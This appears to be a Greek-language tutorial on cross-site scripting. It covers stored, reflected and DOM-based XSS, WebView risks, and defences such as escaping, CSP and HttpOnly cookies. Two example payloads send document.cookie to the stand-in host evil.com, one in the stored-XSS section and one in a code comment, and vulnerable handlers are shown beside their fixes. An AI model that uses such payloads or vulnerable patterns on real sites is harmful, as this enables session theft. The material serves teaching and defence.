XSS — τι είναι, τύποι επιθέσεων και μέθοδοι προστασίας

Τι είναι το XSS;

XSS (Cross-Site Scripting) — είναι μια ευπάθεια που επιτρέπει στον επιτιθέμενο να εισάγει κώδικα JavaScript σε μια ιστοσελίδα, ο οποίος στη συνέχεια εκτελείται στο πρόγραμμα περιήγησης του θύματος. Το πρόγραμμα περιήγησης φορτώνει τη σελίδα από μια αξιόπιστη ιστοσελίδα και εκτελεί το εισαγόμενο σενάριο με τα ίδια δικαιώματα με τον νόμιμο κώδικα της ιστοσελίδας. Αυτό δίνει στον επιτιθέμενο πρόσβαση σε cookies, session storage, το δέντρο DOM της σελίδας και τη δυνατότητα αποστολής αιτημάτων εκ μέρους του θύματος. Οι ευπάθειες XSS προκύπτουν όταν η εφαρμογή εισάγει δεδομένα χρήστη σε μια σελίδα HTML χωρίς κατάλληλη διαφυγή ή επικύρωση.

Ιστορία και επικαιρότητα του XSS

Ο όρος Cross-Site Scripting εμφανίστηκε για πρώτη φορά το 2000 στο Microsoft Security Bulletin. Τα τελευταία 25 χρόνια, το XSS δεν έχει χάσει την επικαιρότητά του: σύμφωνα με τα δεδομένα του HackerOne (2025), το XSS αντιπροσωπεύει περίπου το 22% όλων των καταγεγραμμένων ευπαθειών στην πλατφόρμα. Ο λόγος της ανθεκτικότητας του XSS είναι η πολυπλοκότητα του ελέγχου όλων των σημείων εισόδου δεδομένων χρήστη. Οποιοδήποτε πεδίο εισαγωγής, παράμετρος URL, κεφαλίδα αιτήματος HTTP ή όνομα αρχείου μπορεί να γίνει φορέας επίθεσης εάν τα δεδομένα ανακλώνται στον κώδικα HTML χωρίς επεξεργασία.

Ποια ζημιά προκαλεί το XSS;

Οι επιθέσεις XSS μπορούν να οδηγήσουν σε κλοπή cookies συνόδου, επιτρέποντας στον επιτιθέμενο να συνδεθεί στον λογαριασμό του θύματος χωρίς κωδικό πρόσβασης. Άλλες συνέπειες: ανακατεύθυνση σε ιστοσελίδες phishing, αντικατάσταση περιεχομένου σελίδας, κλοπή προσωπικών δεδομένων, εγκατάσταση κακόβουλου λογισμικού (drive-by download). Το 2023, μια επίθεση XSS στην πλατφόρμα Salesforce Community Cloud επηρέασε δεδομένα χιλιάδων εταιρικών πελατών, αποδεικνύοντας ότι ακόμη και μεγάλες πλατφόρμες δεν είναι άτρωτες σε αυτήν την ευπάθεια.

Τύποι επιθέσεων XSS

Η ταξινόμηση XSS χωρίζει τις επιθέσεις σε τρεις κύριους τύπου ανάλογα με τον τρόπο παράδοσης του κακόβουλου κώδικα. Κάθε τύπος απαιτεί διαφορετική προσέγγιση προστασίας: το Stored XSS μπλοκάρεται με διαφυγή εξόδου από τη βάση δεδομένων, το Reflected — με διαφυγή παραμέτρων URL, το DOM-based — με ασφαλή εργασία με το DOM-API. Η κατανόηση της διαφοράς είναι η βάση μιας αποτελεσματικής στρατηγικής ασφαλείας.

Stored XSS (μόνιμος)

Ο πιο επικίνδυνος τύπος XSS. Ο επιτιθέμενος εισάγει ένα σενάριο σε δεδομένα που ο διακομιστής αποθηκεύει στη βάση δεδομένων και εμφανίζει σε κάθε φόρτωση σελίδας. Τυπικός φορέας — το πεδίο σχολίου: ο επιτιθέμενος δημοσιεύει ένα σχόλιο με <script>document.location='https://evil.com/?c='+document.cookie</script>. Κάθε χρήστης που φορτώνει τη σελίδα με αυτό το σχόλιο στέλνει τα cookies του στον επιτιθέμενο. Το Stored XSS δεν απαιτεί καμία ενέργεια από το θύμα εκτός από την επίσκεψη στη σελίδα — αυτό το καθιστά ιδιαίτερα επικίνδυνο για κοινωνικά δίκτυα, φόρουμ και ιστολόγια.

Reflected XSS (ανακλώμενος)

Το κακόβουλο σενάριο μεταδίδεται στο αίτημα HTTP (συνήθως σε μια παράμετρο URL) και αμέσως ανακλάται από τον διακομιστή στην απάντηση. Ο επιτιθέμενος δημιουργεί ένα σύνδεσμο της μορφής https://example.com/search?q=<script>...</script> και τον διαδίδει μέσω phishing, κοινωνικών δικτύων ή email. Το θύμα, κάνοντας κλικ στο σύνδεσμο, λαμβάνει μια σελίδα όπου το εισαγόμενο ερώτημα αναζήτησης (σενάριο) εμφανίζεται χωρίς διαφυγή. Το Reflected XSS απαιτεί κοινωνική μηχανική — το θύμα πρέπει να κάνει κλικ στο σύνδεσμο, γεγονός που μειώνει αλλά δεν εξαλείφει τον κίνδυνο.

DOM-based XSS

Σε αντίθεση με τα Stored και Reflected, το DOM-based XSS δεν απαιτεί αποστολή δεδομένων στον διακομιστή. Η ευπάθεια προκύπτει όταν το JavaScript του πελάτη εισάγει δεδομένα χρήστη από το URL, το document.referrer, το postMessage ή το localStorage στο DOM χωρίς ασφαλή επεξεργασία. Για παράδειγμα, κώδικας της μορφής document.getElementById('output').innerHTML = location.hash.substring(1) εκτελεί οποιοδήποτε HTML και σενάρια από το τμήμα URL (#<img onerror='...'>). Το DOM-based XSS είναι το πιο δύσκολο να εντοπιστεί, επειδή ο διακομιστής ποτέ δεν λαμβάνει το κακόβουλο ωφέλιμο φορτίο — επεξεργάζεται πλήρως από την πλευρά του πελάτη.

// Παράδειγμα DOM-based XSS (ΕΥΠΑΘΗΣ ΚΩΔΙΚΑΣ)
// Εάν userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — επικίνδυνο: εισάγει ακατέργαστο HTML
document.write('<div>' + userInput + '</div>');

// ΑΣΦΑΛΗΣ ΕΝΑΛΛΑΚΤΙΚΗ — χρησιμοποιήστε το textContent
document.getElementById('output').textContent = userInput;

Πώς λειτουργεί μια επίθεση XSS;

Η επίθεση XSS εκμεταλλεύεται μια θεμελιώδη ιδιότητα του ιστού: το πρόγραμμα περιήγησης εκτελεί JavaScript που λαμβάνεται από ένα αξιόπιστο domain. Εάν ο επιτιθέμενος βρει έναν τρόπο να εισάγει τον κώδικά του στην απάντηση HTML του διακομιστή, το πρόγραμμα περιήγησης τον εκτελεί με τα ίδια προνόμια με τον νόμιμο κώδικα. Η επίθεση περνά από τρεις φάσεις: εισαγωγή κακόβουλου κώδικα στο περιεχόμενο, παράδοση του περιεχομένου στο πρόγραμμα περιήγησης του θύματος και εκτέλεση του κώδικα με πρόσβαση στο DOM, cookies και storage.

Φάση εισαγωγής

Ο επιτιθέμενος βρίσκει ένα σημείο εισόδου — ένα πεδίο, παράμετρο URL ή κεφαλίδα του οποίου την τιμή ο διακομιστής συμπεριλαμβάνει στην απάντηση HTML χωρίς διαφυγή. Τυπικά σημεία εισόδου: πεδία αναζήτησης, πεδία σχολίων, όνομα χρήστη, URL avatar, αρχεία cookies, κεφαλίδες HTTP (User-Agent, Referer). Τα σύγχρονα πλαίσια (React, Angular, Vue) διαφεύγουν αυτόματα την έξοδο, αλλά οι προγραμματιστές μπορούν να απενεργοποιήσουν τη διαφυγή μέσω dangerouslySetInnerHTML, bypassSecurityTrustHtml ή v-html.

Φάση παράδοσης

Για το Reflected XSS, ο επιτιθέμενος διαδίδει έναν κακόβουλο σύνδεσμο. Για το Stored XSS, αρκεί να δημοσιεύσει περιεχόμενο στην ιστοσελίδα-στόχο, και κάθε επισκέπτης της σελίδας γίνεται θύμα. Το DOM-based XSS ενεργοποιείται κατά τη φόρτωση της σελίδας με ένα συγκεκριμένο τμήμα URL. Και οι τρεις φάσεις μπορούν να εκτελεστούν αυτόματα: εάν το XSS ανακαλυφθεί σε ένα διαφημιστικό banner (περιεχόμενο τρίτου μέρους), η επίθεση θα επηρεάσει όλους τους χρήστες της ιστοσελίδας μέχρι να απενεργοποιηθεί το banner.

// Παράδειγμα Reflected XSS σε αναζήτηση (ΕΥΠΑΘΗΣ BACKEND)
// Αντί να διαφύγει την παράμετρο q, ο διακομιστής την εισάγει σε HTML

// Express.js — ευπαθής χειριστής:
app.get('/search', (req, res) => {
    const query = req.query.q; // είσοδος χρήστη
    res.send(`<h1>Results for: ${query}</h1>`);
});

// ΑΣΦΑΛΗΣ ΕΚΔΟΣΗ — διαφυγή μέσω encodeURI ή μηχανής προτύπων:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS σε εφαρμογές για κινητά

Οι εφαρμογές για κινητά είναι επίσης επιρρεπείς σε επιθέσεις XSS, αν και σε μικρότερο βαθμό από τις ιστοσελίδες. Ο κύριος φορέας είναι το WebView και τα υβριδικά πλαίσια (Cordova, Capacitor, React Native με WebView). Εάν η εφαρμογή φορτώνει περιεχόμενο ιστού στο WebView — ιδιαίτερα περιεχόμενο χρήστη (HTML email, άρθρα, μηνύματα) — η ευπάθεια XSS μπορεί να οδηγήσει σε εκτέλεση JavaScript εντός της εφαρμογής με πρόσβαση σε native λειτουργίες μέσω της γέφυρας JavaScript.

XSS στο WebView Android

Το Android WebView εκτελεί JavaScript από προεπιλογή. Εάν η εφαρμογή φορτώνει μια συμβολοσειρά HTML μέσω loadDataWithBaseURL() ή εμφανίζει περιεχόμενο χρήστη, μια επίθεση XSS μπορεί να δώσει στον επιτιθέμενο πρόσβαση στη διεπαφή JavaScript (addJavascriptInterface). Η Google απαγόρευσε τη χρήση του @JavascriptInterface για API < 17, αλλά ο παλαιός κώδικας σε παλιές εφαρμογές εξακολουθεί να υπάρχει. Προστασία: απενεργοποιήστε το JavaScript στο WebView εάν δεν χρειάζεται και χρησιμοποιήστε ασφαλή περιήγηση.

XSS σε React Native και Flutter

Το React Native δεν χρησιμοποιεί WebView για τη διεπαφή χρήστη — τα στοιχεία αποδίδονται σε native προβολές. Ωστόσο, κατά την εμφάνιση HTML μέσω react-native-webview ή στοιχείων rich-text, ο κίνδυνος XSS επιστρέφει. Το Flutter χρησιμοποιεί τη δική του μηχανή απόδοσης (Skia) και δεν υποστηρίζει JavaScript σε γραφικά στοιχεία HTML (το flutter_html δεν εκτελεί ετικέτες script), αλλά τα πρόσθετα WebView (webview_flutter) είναι ευάλωτα παρόμοια με τα native WebView. Βέλτιστη πρακτική — ποτέ μην μεταδίδετε μη επαληθευμένο HTML στο WebView.

• Απενεργοποιήστε το JavaScript στο WebView εάν το περιεχόμενο δεν απαιτεί διαδραστικότητα
• Χρησιμοποιήστε κεφαλίδες CSP για περιορισμό των πηγών σεναρίων στο WebView
• Απολυμάνετε το HTML πριν από τη φόρτωση στο WebView: αφαιρέστε ετικέτες script και χειριστές συμβάντων
• Μην χρησιμοποιείτε το addJavascriptInterface σε Android χωρίς αυστηρό έλεγχο των εισερχόμενων δεδομένων

// Ασφαλής διαμόρφωση WebView σε Android
val webView = findViewById<WebView>(R.id.webview)

// Απενεργοποιούμε το JavaScript εάν δεν απαιτείται διαδραστικότητα
webView.settings.javaScriptEnabled = false

// Απολυμαίνουμε το HTML πριν από τη φόρτωση
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Μέθοδοι πρόληψης XSS

Η προστασία από το XSS βασίζεται σε τρεις αρχές: μην εμπιστεύεστε την είσοδο χρήστη, διαφεύγετε πριν από την έξοδο, χρησιμοποιείτε Content Security Policy. Η διαφυγή εξόδου (output encoding) — η πιο σημαντική μέθοδος: όλα τα δεδομένα που λαμβάνονται από τον χρήστη πρέπει να διαφεύγουν πριν από την εισαγωγή σε HTML, JavaScript, CSS ή URL. Οι σύγχρονες μηχανές προτύπων (Twig, Handlebars, JSX, Blade) το κάνουν αυτόματα, εάν ο προγραμματιστής δεν απενεργοποιήσει τη διαφυγή με ειδικές μεθόδους.

Συμφραζόμενη διαφυγή

Η διαφυγή εξαρτάται από τα συμφραζόμενα εισαγωγής δεδομένων. Στα συμφραζόμενα HTML, διαφεύγονται τα <, >, &, τα εισαγωγικά. Στα συμφραζόμενα JavaScript, διαφεύγονται οι ανάποδες διαγώνιες, , </script>. Στα συμφραζόμενα CSS — τα χαρακτήρες ελέγχου. Στα συμφραζόμενα URL — η κωδικοποίηση URL. Ένα σφάλμα συμφραζομένων — για παράδειγμα, η εισαγωγή μιας συμβολοσειράς με διαφυγή HTML σε ένα χαρακτηριστικό onclick — δεν προστατεύει από XSS, επειδή το onclick εκτελείται σε συμφραζόμενα JavaScript, όπου χρειάζεται διαφορετική διαφυγή.

Content Security Policy (CSP)

CSP — μια κεφαλίδα HTTP που περιορίζει τις πηγές από τις οποίες το πρόγραμμα περιήγησης μπορεί να φορτώσει σενάρια, στυλ και άλλους πόρους. Αυστηρό CSP (χωρίς unsafe-inline, χωρίς unsafe-eval) μπλοκάρει την εκτέλεση οποιωνδήποτε ενσωματωμένων σεναρίων, συμπεριλαμβανομένων των φορέων XSS. Σύμφωνα με τα δεδομένα του Google Security Blog (2025), οι ιστοσελίδες με CSP μπλοκάρουν το 95% των επιθέσεων XSS. Παράδειγμα: Content-Security-Policy: default-src 'self'; script-src 'self' απαγορεύει οποιαδήποτε εξωτερικά και ενσωματωμένα σενάρια. Το CSP δεν προστατεύει από Stored XSS εάν το σενάριο φορτώνεται από τον ίδιο domain, αλλά αυτό απαιτεί πρόσθετη προσπάθεια από τον επιτιθέμενο.

HttpOnly και Secure cookies

Η ρύθμιση της σημαίας HttpOnly για cookies αποτρέπει την πρόσβαση σε αυτά μέσω JavaScript (document.cookie), γεγονός που μπλοκάρει την κλοπή cookies συνόδου μέσω XSS. Η σημαία Secure εγγυάται ότι το cookie μεταδίδεται μόνο μέσω HTTPS. Ο συνδυασμός HttpOnly + Secure + SameSite=Lax καθιστά την κλοπή cookies συνόδου μέσω XSS πρακτικά αδύνατη. Ωστόσο, το XSS μπορεί ακόμη να εκτελεί ενέργειες εκ μέρους του χρήστη (για παράδειγμα, να στέλνει αιτήματα), επομένως το HttpOnly δεν είναι πανάκεια, αλλά μέρος της ολοκληρωμένης προστασίας.

Εργαλεία για τον εντοπισμό XSS

Ο τακτικός έλεγχος για XSS — υποχρεωτικό μέρος του αγωγού CI/CD της ασφαλούς ανάπτυξης. Οι αυτοματοποιημένοι σαρωτές βρίσκουν έως και το 80% των ευπαθειών XSS, τα υπόλοιπα απαιτούν χειροκίνητη δοκιμή διείσδυσης. Η καλύτερη προσέγγιση είναι ο συνδυασμός ανάλυσης SAST (στατικής), σάρωσης DAST (δυναμικής) και αναθεώρησης κώδικα με έμφαση στα σημεία εισόδου δεδομένων χρήστη.

• OWASP ZAP — δωρεάν σαρωτής DAST, εντοπίζει αυτόματα XSS σε διαδικτυακές εφαρμογές
• Burp Suite Professional — προηγμένο εργαλείο με Active Scan και Intruder για XSS
• XSStrike — εξειδικευμένος σαρωτής XSS με δημιουργία ωφέλιμων φορτίων
• ESLint-plugin-security — στατική ανάλυση React/JSX για επικίνδυνα μοτίβα
• Google Observatory — έλεγχος κεφαλίδων CSP και διαμορφώσεων που σχετίζονται με XSS

Για εφαρμογές για κινητά, η δοκιμή XSS περιλαμβάνει ανάλυση WebView: έλεγχο διεπαφών JavaScript, επεξεργασία σχημάτων URL και μεταφορά HTML σε loadDataWithBaseURL. Συνιστάται επίσης η δοκιμή επεξεργασίας postMessage σε υβριδικές εφαρμογές και ο έλεγχος ποια δεδομένα μεταδίδονται μέσω της γέφυρας JavaScript. Χρησιμοποιήστε εξομοιωτή με διακομιστή μεσολάβησης (Burp Suite) για τη σύλληψη και τροποποίηση της κίνησης εφαρμογής για κινητά.